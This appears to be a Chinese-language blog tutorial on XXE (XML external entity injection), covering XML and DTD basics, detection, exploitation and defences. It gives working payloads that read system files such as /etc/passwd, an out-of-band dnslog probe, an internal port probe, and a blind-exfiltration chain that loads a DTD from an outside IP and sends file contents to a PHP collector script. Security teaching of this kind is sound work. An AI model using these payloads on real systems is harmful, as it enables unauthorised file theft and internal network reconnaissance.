XEE(XML外部实体注入)

一、基础知识

XML

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。简单来说,XML是数据的传输工具,与HTML语言不同,HTML用来显示数据,而 XML用来传输和存储数据

XML文档结构包括:

  • XML声明
  • DTD文档类型定义(可选)
  • 文档元素

XML基本文档结构

    <!--XML声明-->
    <?xml version="1.0" encoding="UTF-8"?>
    <!--DTD,这部分可选的-->          
    <!DOCTYPE foo [ 
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
    ]>
    <!--文档元素-->                                                                          
    <foo>&xxe;</foo>

DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD的声明:指XML文档中声明该文档的DTD或DTD来源的部分,既可以包含在使用它的XML文档内部,也可以通过外部引用以独立的DTD文档(*.dtd)文档存在。

DTD实体概念

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,根据引用或者声明方式可以将实体分为内部实体和外部实体。
一个实体由三部分构成:&符号, 实体名称, 分号 (😉,例如:<foo>&xxe;</foo>m
XXE漏洞全称为XML外部实体注入漏洞,在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害

内部实体

声明:
例如:
]>
&a

外部实体

声明:
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

例如:

//引用file协议
<!DOCTYPE foo 
[ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/passwd" >
]>                                                                         
<foo>&xxe;</foo>

参数实体

声明:

//内部参数实体声明
或者

//外部参数实体声明
例如:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

二、XXE检测与利用

漏洞发现:

(1)数据包Content-Type参数带有xml,例如:`Content-Type: application/xml;charset=utf-8`
(2)post传输数据格式为xml格式
//也有的数据传输先用xml处理,再用json进行二次处理,在抓到数据包上显示的是json格式。遇到这种情况,可以直接尝试将传输数据改成xml的payload进行测试
(3)XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行,比如:svg、Excel

漏洞利用:

1.利用file协议读取文件

payload:

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM  "file:///C://Windows/System32/drivers/etc/hosts">
    ]>
    <user><username>&test;</username><password>test</password></user>

//如果有自带的标签,则用自带标签来

2.利用http协议带外测试

  • 作用:无回显的情况下,用于检测是否存在XXE漏洞
  • 方法:首先在dnslog上申请一个子域,将下面payload的网址改为所申请的dnslog子域,执行下面的XXE payload,查看dnslog子域是否被访问
  • dnslog地址:http://dnslog.cn/

payload:

    <?xml version="1.0"?>
    <!DOCTYPE ANY[ 
    <!ENTITY f SYSTEM "http://td1h17.dnslog.cn">
    ]>
    <x>&f;</x>

3.引入外部实体dtd

  • 作用:解决无回显问题
  • 原理:从外部引入test.dtd,让服务器访问get.php,然后用get.php将file读取的数据保存到file.txt里

payload:

    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "file:///c:/a.txt">
    <!ENTITY % remote SYSTEM "http://8.134.95.36/hacker/XXE/test.dtd">
    %remote;
    %all;
    ]>
    <root>&send;</root>

test.dtd:

    <!ENTITY % all "<!ENTITY send SYSTEM 'http://8.134.95.36/hacker/XXE/get.php?file=%file;'>">

get.php:

    <?php
    $data=$_GET['file'];
    $myfile = fopen("file.txt", "w+");
    fwrite($myfile, $data);
    fclose($myfile);
    ?>

4.内网探针

  • 作用:打ctf、实战中只能用来扫扫端口,不像SSRF的内网探测那样强大,挺鸡肋的
  • 原理:和读文件差不多,只不过把URI改成内网机器地址
    payload:
    <?xml version="1.0" encoding="UTF-8"?>        
    <!DOCTYPE foo [ 
    <!ELEMENT foo ANY >
    <!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
    ]>
    <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

三、WAF绕过

参考文章:《绕过WAF保护的XXE》

四、黑盒测试挖洞流程

1.先确定数据是否以xml格式传输(具体看上面的漏洞发现)
2.先尝试用file协议读取文件
3.无回显使用带外测试检测是否存在XXE漏洞
4.存在,引入外部实体dtd读取数据

五、XXE防御

方案1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

posted @ 2023-02-10 19:41  bcxc9405  阅读(581)  评论(0编辑  收藏  举报
/*
*/